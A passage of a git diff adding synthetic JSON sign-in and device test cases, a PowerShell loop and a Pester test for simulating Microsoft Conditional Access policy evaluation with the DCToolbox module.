"ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-084", + "deviceOwnership": "Personal", + "DisplayName": "Device-084", + "EnrollmentProfileName": "Profile-084", + "isCompliant": true, + "Manufacturer": "Manufacturer-G", + "MdmAppId": "mdm-00084", + "Model": "Model-084", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.84", + "PhysicalIds": "physical-id-084", + "profileType": "IoT", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-085", + "deviceOwnership": "Company", + "DisplayName": "Device-085", + "EnrollmentProfileName": "Profile-085", + "isCompliant": false, + "Manufacturer": "Manufacturer-H", + "MdmAppId": "mdm-00085", + "Model": "Model-085", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.85", + "PhysicalIds": "physical-id-085", + "profileType": "RegisteredDevice", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-086", + "deviceOwnership": "Personal", + "DisplayName": "Device-086", + "EnrollmentProfileName": "Profile-086", + "isCompliant": true, + "Manufacturer": "Manufacturer-I", + "MdmAppId": "mdm-00086", + "Model": "Model-086", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.86", + "PhysicalIds": "physical-id-086", + "profileType": "SecureVM", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-087", + "deviceOwnership": "Company", + "DisplayName": "Device-087", + "EnrollmentProfileName": "Profile-087", + "isCompliant": false, + "Manufacturer": "Manufacturer-J", + "MdmAppId": "mdm-00087", + "Model": "Model-087", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.87", + "PhysicalIds": "physical-id-087", + "profileType": "Printer", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "All", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-088", + "deviceOwnership": "Personal", + "DisplayName": "Device-088", + "EnrollmentProfileName": "Profile-088", + "isCompliant": true, + "Manufacturer": "Manufacturer-K", + "MdmAppId": "mdm-00088", + "Model": "Model-088", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.88", + "PhysicalIds": "physical-id-088", + "profileType": "Shared", + "systemLabels": "MDEJoined", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-089", + "deviceOwnership": "Company", + "DisplayName": "Device-089", + "EnrollmentProfileName": "Profile-089", + "isCompliant": false, + "Manufacturer": "Manufacturer-L", + "MdmAppId": "mdm-00089", + "Model": "Model-089", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.89", + "PhysicalIds": "physical-id-089", + "profileType": "IoT", + "systemLabels": "MDEManaged", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-090", + "deviceOwnership": "Personal", + "DisplayName": "Device-090", + "EnrollmentProfileName": "Profile-090", + "isCompliant": true, + "Manufacturer": "Manufacturer-M", + "MdmAppId": "mdm-00090", + "Model": "Model-090", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "10.0.90", + "PhysicalIds": "physical-id-090", + "profileType": "RegisteredDevice", + "systemLabels": "MicrosoftPrintServiceConnector", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-091", + "deviceOwnership": "Company", + "DisplayName": "Device-091", + "EnrollmentProfileName": "Profile-091", + "isCompliant": false, + "Manufacturer": "Manufacturer-N", + "MdmAppId": "mdm-00091", + "Model": "Model-091", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "11.1.91", + "PhysicalIds": "physical-id-091", + "profileType": "SecureVM", + "systemLabels": "MultiUser", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-092", + "deviceOwnership": "Personal", + "DisplayName": "Device-092", + "EnrollmentProfileName": "Profile-092", + "isCompliant": true, + "Manufacturer": "Manufacturer-O", + "MdmAppId": "mdm-00092", + "Model": "Model-092", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "12.2.92", + "PhysicalIds": "physical-id-092", + "profileType": "Printer", + "systemLabels": "PrinterAllInOne", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-093", + "deviceOwnership": "Company", + "DisplayName": "Device-093", + "EnrollmentProfileName": "Profile-093", + "isCompliant": false, + "Manufacturer": "Manufacturer-P", + "MdmAppId": "mdm-00093", + "Model": "Model-093", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "13.3.93", + "PhysicalIds": "physical-id-093", + "profileType": "Shared", + "systemLabels": "PrinterStandard", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "FR", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-094", + "deviceOwnership": "Personal", + "DisplayName": "Device-094", + "EnrollmentProfileName": "Profile-094", + "isCompliant": true, + "Manufacturer": "Manufacturer-Q", + "MdmAppId": "mdm-00094", + "Model": "Model-094", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "14.4.94", + "PhysicalIds": "physical-id-094", + "profileType": "IoT", + "systemLabels": "Printer3D", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-095", + "deviceOwnership": "Company", + "DisplayName": "Device-095", + "EnrollmentProfileName": "Profile-095", + "isCompliant": false, + "Manufacturer": "Manufacturer-R", + "MdmAppId": "mdm-00095", + "Model": "Model-095", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "10.5.95", + "PhysicalIds": "physical-id-095", + "profileType": "RegisteredDevice", + "systemLabels": "ScannerStandard", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "Windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-096", + "deviceOwnership": "Personal", + "DisplayName": "Device-096", + "EnrollmentProfileName": "Profile-096", + "isCompliant": true, + "Manufacturer": "Manufacturer-S", + "MdmAppId": "mdm-00096", + "Model": "Model-096", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "11.6.96", + "PhysicalIds": "physical-id-096", + "profileType": "SecureVM", + "systemLabels": "AzureResource", + "TrustType": "AzureAD" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Teams", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "Medium", + "UserRiskLevel": "Medium", + "DeviceId": "device-097", + "deviceOwnership": "Company", + "DisplayName": "Device-097", + "EnrollmentProfileName": "Profile-097", + "isCompliant": false, + "Manufacturer": "Manufacturer-T", + "MdmAppId": "mdm-00097", + "Model": "Model-097", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "12.7.97", + "PhysicalIds": "physical-id-097", + "profileType": "Printer", + "systemLabels": "AzureVirtualDesktop", + "TrustType": "ServerAD" + }, + { + "UserPrincipalName": "user1@domain.com", + "Country": "SE", + "Platform": "Windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "Low", + "UserRiskLevel": "Low", + "DeviceId": "device-098", + "deviceOwnership": "Personal", + "DisplayName": "Device-098", + "EnrollmentProfileName": "Profile-098", + "isCompliant": true, + "Manufacturer": "Manufacturer-U", + "MdmAppId": "mdm-00098", + "Model": "Model-098", + "OperatingSystem": "Windows OS", + "OperatingSystemVersion": "13.8.98", + "PhysicalIds": "physical-id-098", + "profileType": "Shared", + "systemLabels": "CloudPC", + "TrustType": "Workplace" + }, + { + "UserPrincipalName": "user2@domain.com", + "Country": "US", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "High", + "UserRiskLevel": "High", + "DeviceId": "device-099", + "deviceOwnership": "Company", + "DisplayName": "Device-099", + "EnrollmentProfileName": "Profile-099", + "isCompliant": false, + "Manufacturer": "Manufacturer-V", + "MdmAppId": "mdm-00099", + "Model": "Model-099", + "OperatingSystem": "macOS OS", + "OperatingSystemVersion": "14.9.99", + "PhysicalIds": "physical-id-099", + "profileType": "IoT", + "systemLabels": "M365Managed", + "TrustType": "AzureAD" + } +] \ No newline at end of file diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt b/CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt new file mode 100644 index 0000000..b6f095c --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/Script_Automatic_JSON_Testing.txt @@ -0,0 +1,37 @@ +$jsonFilePath = "C:\Users\ramaz\Desktop\jsonTestCases\100_test_cases_with_deviceFilters.json" + +# Load file +$testCases = Get-Content -Path $jsonFilePath | ConvertFrom-Json + +# Loop +foreach ($testCase in $testCases) { + $Parameters = @{ + UserPrincipalName = $testCase.UserPrincipalName + ApplicationDisplayName = $testCase.ApplicationDisplayName + ClientApp = $testCase.ClientApp + TrustedIPAddress = [bool]$testCase.TrustedIPAddress + Country = $testCase.Country + Platform = $testCase.Platform + SignInRiskLevel = $testCase.SignInRiskLevel + UserRiskLevel = $testCase.UserRiskLevel + SummarizedOutput = $true + VerbosePolicyEvaluation = $false + IncludeNonMatchingPolicies = $false + DeviceId = $testCase.DeviceId + DisplayName = $testCase.DisplayName + DeviceOwnership = $testCase.DeviceOwnership + EnrollmentProfileName = $testCase.EnrollmentProfileName + IsCompliant = $testCase.IsCompliant + Manufacturer = $testCase.Manufacturer + MdmAppId = $testCase.MdmAppId + Model = $testCase.Model + OperatingSystem = $testCase.OperatingSystem + OperatingSystemVersion = $testCase.OperatingSystemVersion + PhysicalIds = $testCase.PhysicalIds + ProfileType = $testCase.ProfileType + SystemLabels = $testCase.SystemLabels + TrustType = $testCase.TrustType + } + Write-Host "Running test case for user: $($testCase.UserPrincipalName)" + Invoke-DCConditionalAccessSimulationWithDevices @Parameters +} \ No newline at end of file diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/Technical overview.docx b/CSTijgers/DCToolbox-main/Scripts&Testcases/Technical overview.docx new file mode 100644 index 0000000..3e39b98 Binary files /dev/null and b/CSTijgers/DCToolbox-main/Scripts&Testcases/Technical overview.docx differ diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 b/CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 new file mode 100644 index 0000000..90267cb --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/Test-PowerShellCommand-device.ps1 @@ -0,0 +1,26 @@ +# Test-PowerShellCommand-device.ps1 +Describe "Test Command Output for Conditional Access Simulation" { + It "should match the expected output from file" { + # Path to the .txt file containing the original script + $scriptPath = "D:\HBO-ICT\CST\project\command2device.txt" + + # Read the contents of the file and execute it + $scriptContent = Get-Content -Path $scriptPath -Raw + + # Create a temporary file to capture the output (instead of using Write-Host) + $outputFile = "D:\HBO-ICT\CST\project\test_output_device.txt" + + # Redirect the output of the script to a file + Invoke-Expression -Command $scriptContent | Out-File -FilePath $outputFile -Force + + # Read the expected output from the expected output file + $expectedOutputFile = "D:\HBO-ICT\CST\project\expected_output_device.txt" + $expectedOutput = Get-Content -Path $expectedOutputFile -Raw + + # Read the actual output from the captured file + $actualOutput = Get-Content -Path $outputFile -Raw + + # Compare the actual output to the expected output + $actualOutput | Should -BeExactly $expectedOutput + } +} diff --git a/CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json b/CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json new file mode 100644 index 0000000..ef02bdc --- /dev/null +++ b/CSTijgers/DCToolbox-main/Scripts&Testcases/test_cases_100.json @@ -0,0 +1,1002 @@ +[ + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "SE", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "SE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "RU", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "RU", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "RU", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "IT", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "RU", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "NL", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "IR", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "CN", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "All", + "Country": "KP", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "FR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "windows", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "macOS", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "ios", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "ES", + "Platform": "linux", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "KP", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SY", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IT", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "CN", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "DE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "ES", + "Platform": "android", + "ApplicationDisplayName": "All", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "KP", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "IR", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "FR", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "NL", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "browser", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "NL", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "ios", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "CN", + "Platform": "windows", + "ApplicationDisplayName": "All", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "All", + "Country": "SE", + "Platform": "linux", + "ApplicationDisplayName": "All", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "DE", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "KP", + "Platform": "windows", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "BE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "exchangeActiveSync", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "BE", + "Platform": "android", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "IR", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "other", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "medium" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "BE", + "Platform": "linux", + "ApplicationDisplayName": "Microsoft Admin Portals", + "ClientApp": "easSupported", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "All", + "Country": "DE", + "Platform": "macOS", + "ApplicationDisplayName": "Office 365", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": false, + "SignInRiskLevel": "low", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "SY", + "Platform": "ios", + "ApplicationDisplayName": "Office 365", + "ClientApp": "easSupported", + "TrustedIPAddress": true, + "SignInRiskLevel": "high", + "UserRiskLevel": "high" + }, + { + "UserPrincipalName": "user@example.com", + "Country": "ES", + "Platform": "macOS", + "ApplicationDisplayName": "All", + "ClientApp": "mobileAppsAndDesktopClients", + "TrustedIPAddress": true, + "SignInRiskLevel": "medium", + "UserRiskLevel": "low" + }, + { + "UserPrincipalName": "GuestsOrExternalUsers", + "Country": "ES", + "Platform": "windows", + 